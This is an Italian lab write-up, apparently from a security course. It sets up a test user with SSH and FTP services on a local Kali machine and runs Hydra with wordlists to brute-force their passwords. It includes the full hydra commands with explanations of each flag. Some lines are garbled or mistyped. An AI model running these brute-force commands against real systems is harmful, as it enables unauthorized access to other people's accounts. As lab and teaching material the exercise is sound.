# AUTHENTICATION CRACKING ESERCITAZIONE W14D4

#### INTRODUZIONE

• L'obiettivo dell'esercitazione è creare un semplice ambiente di test (utente, servizi SSH/FTP) e mostrare come Hydra possa usare wordlist per provare combinazioni utente/password fino a individuare credenziali valide

#### PREPARAZIONE DELL'AMBIENTE E TEST ACCESSO SSH

• Per la creazione di un account di prova andiamo a utilizzare il comando

### sudo adduser test\_user

 Come secondo punto andiamo a inserire una password in questo caso useremo testpass

```
(kali@ kali)-[~]
$ sudo adduser test_user
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
```

una volta configurato l'account possiamo abilitare il demone SSH:

```
(kali@ kali)-[~]
$\frac{\sudo}{\sudo} \text{ service ssh start}
```

 Prima di procedere andiamo a verificare che il servizio risponda andando a effettuare un login di prova, utilizzando il seguente comando

ssh test\_user@192.168.50.100

```
(kali@kali)-[~]
$ ssh test_user@192.168.50.100
test_user@192.168.50.100's password:
Linux kali 6.12.25-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.25-1kali1 (2025-04-30) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
```

Questa fase serve a confermare che l'utente esiste e che SSH è correttamente in ascolto sull'IP indicato.

### PREPARAZIONE DELLA WORDLIST

 Hydra richiede liste di nomi utente e password da provare per questo andiamo a scaricare una seclists con il comando

## sudo apt install seclists

## **ESECUZIONE DELL'ATTACCO**

Per lanciare l'attacco andiamo a utilizzare il seguente comando

hydra -L users.txt -P pass.txt 192.168.50.100 -t 1 ssh -V

```
(kali⊕ kali)-[~]
_$ hydra -L users.txt -P pass.txt 192.168.50.100 -t 1 ssh -V
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purpose
s (this is non-binding, these *** ignore laws and ethics anyway).
```

# Spiegazione tecnica del comando:

- -L users.txt → file con gli username da provare.
- -P pass.txt → file con le password.
- **192.168.50.100** → indirizzo del target.
- -t 1 → numero di thread concorrenti.
- ssh → modulo da attaccare.
- **-V** → output verboso per tracciare i tentativi.

#### INSTALLAZIONE E AVVIO DEL SERVIZIO FTP

Per ripetere l'esercizio su FTP si installa un server leggero e sicuro come **vsftpd** con il comando

# sudo apt install vsftpd

per lanciare il servizio utilizziamo un comando simile a quello per ssh ovvero

ydra -L users.txt -P pass.txt 192.168.50.100 -t 4 ftp

```
(kali@ kali)-[~]
$ sudo service vsftpd start

(kali@ kali)-[~]
$ hydra -L users.txt -P pass.txt 192.168.50.100 -t 4 ftp

Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
```